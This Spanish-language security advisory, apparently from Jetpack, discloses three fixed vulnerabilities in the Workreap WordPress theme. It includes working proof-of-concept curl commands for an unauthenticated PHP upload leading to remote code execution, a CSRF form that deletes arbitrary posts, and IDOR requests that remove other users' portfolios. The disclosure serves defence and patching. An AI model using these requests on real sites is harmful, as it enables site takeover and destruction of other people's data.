Múltiples vulnerabilidades en el tema Workreap de Amentotech

Recientemente, el equipo de Jetpack encontró algunos archivos infectados en el sitio de uno de nuestros clientes alojados y rápidamente rastreó el origen de la infección hasta el tema Workreap de Amentotech. Iniciamos una investigación y descubrimos varios endpoints AJAX vulnerables en el tema; el más grave era una vulnerabilidad de carga no autenticada y sin validación que podía provocar la ejecución remota de código y la toma de control total del sitio.

Informamos de las vulnerabilidades al equipo de Amentotech a través del programa Envato Helpful Hacker, y ellos solucionaron los problemas rápidamente. El 29 de junio de 2021 se publicó la versión 2.2.2 del tema, que corrige las vulnerabilidades encontradas.

En resumen

Debido a la gravedad de las vulnerabilidades, recomendamos encarecidamente a todos los usuarios del tema Workreap que actualicen a la versión 2.2.2 o posterior lo antes posible. 

Descarga la actualización desde el sitio web del tema e instálala manualmente, o actualiza el tema automáticamente mediante el plugin del mercado de Envato.

Detalles

Nombre del tema: Workreap
URI del tema: http://amentotech.com/projects/wpworkreap
Autor: Amentotech
URI del autor:  https://themeforest.net/user/amentotech/portfolio

Las vulnerabilidades

Debido a la gravedad de las vulnerabilidades, retrasaremos la publicación de la prueba de concepto y del análisis completo para dar tiempo a los usuarios a actualizar.

Carga no autenticada que permite la ejecución remota de código

Versiones afectadas: < 2.2.2
ID de CVE: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90.7
Enlace de WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Las acciones AJAX workreap_award_temp_file_uploader y workreap_temp_file_uploader no realizaban comprobaciones de nonce ni validaban de ninguna otra forma que la solicitud procediera de un usuario válido. Los endpoints permitían cargar archivos arbitrarios en el directorio uploads/workreap-temp. Los archivos cargados no se saneaban ni validaban, lo que permitía a un visitante no autenticado cargar código ejecutable, como scripts PHP.

Prueba de concepto

% curl -F 'action=workreap_award_temp_file_uploader' -F award_img=@malicious.php 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Múltiples vulnerabilidades de CSRF + IDOR

Versiones afectadas: < 2.2.2
ID de CVE: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78.3
Enlace de WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Varias acciones AJAX disponibles en el tema Workreap carecían de protecciones CSRF y también permitían referencias directas inseguras a objetos (IDOR) que no se validaban. Esto permite a un atacante engañar a un usuario que ha iniciado sesión para que envíe una solicitud POST al sitio vulnerable, con la posibilidad de modificar o eliminar objetos arbitrarios del sitio objetivo. 

En las versiones anteriores a la 2.0.0, estas acciones carecían completamente de autenticación y cualquier visitante del sitio podía explotarlas.

Prueba de concepto

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Falta de comprobaciones de autorización en las acciones AJAX

Versiones afectadas: < 2.2.2
ID de CVE: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68.5
Enlace de WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Varias acciones AJAX disponibles en el tema Workreap no realizaban comprobaciones de autorización para verificar que un usuario tuviera permiso para llevar a cabo operaciones críticas, como modificar o eliminar objetos. Esto permitía a un usuario que había iniciado sesión modificar o eliminar objetos pertenecientes a otros usuarios del sitio. 

En las versiones anteriores a la 2.0.0, estas acciones carecen completamente de autenticación y cualquier visitante del sitio puede explotarlas.

Prueba de concepto

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Cronología

2021-06-24: El equipo de Jetpack Scan descubrió la vulnerabilidad de carga inicial y la comunicó al programa Envato Helpful Hacker.
2021-06-25: Se documentaron otras vulnerabilidades descubiertas y se informó a Amentotech a través de Envato.
2021-06-27: Se publicó la versión 2.2.1, que solucionaba algunas, pero no todas, las vulnerabilidades.
2021-06-29: Se publicó la versión 2.2.2 y el equipo de Jetpack Scan verificó las correcciones.

Conclusión

Te recomendamos que compruebes la versión actual del tema Workreap que utilizas en tu sitio y, si es inferior a la 2.2.2, lo actualices lo antes posible. 

En Jetpack, nos esforzamos por asegurarnos de que tus sitios web estén protegidos frente a este tipo de vulnerabilidades. Para adelantarte a las nuevas amenazas, echa un vistazo a Jetpack Scan, que incluye el análisis de seguridad y la eliminación automática de malware.

Créditos

Investigador original: Harald Eilertsen

Gracias al resto del equipo de Jetpack Scan por sus comentarios, ayuda y correcciones. También damos las gracias a kailoon, del programa Envato Helpful Hacker, por su ayuda para ponerse en contacto con Amentotech, y a Amentotech por responder rápidamente, solucionar los problemas y publicar la versión actualizada.

Explora las ventajas de Jetpack

Descubre cómo Jetpack puede ayudarte a proteger, acelerar y hacer crecer tu sitio de WordPress.

Explorar planes

¿Tienes alguna pregunta?

La sección de comentarios está cerrada para este artículo, pero seguimos aquí para ayudarte. ¡Visita el foro de soporte y estaremos encantados de responder a tus preguntas!

Ver foro de soporte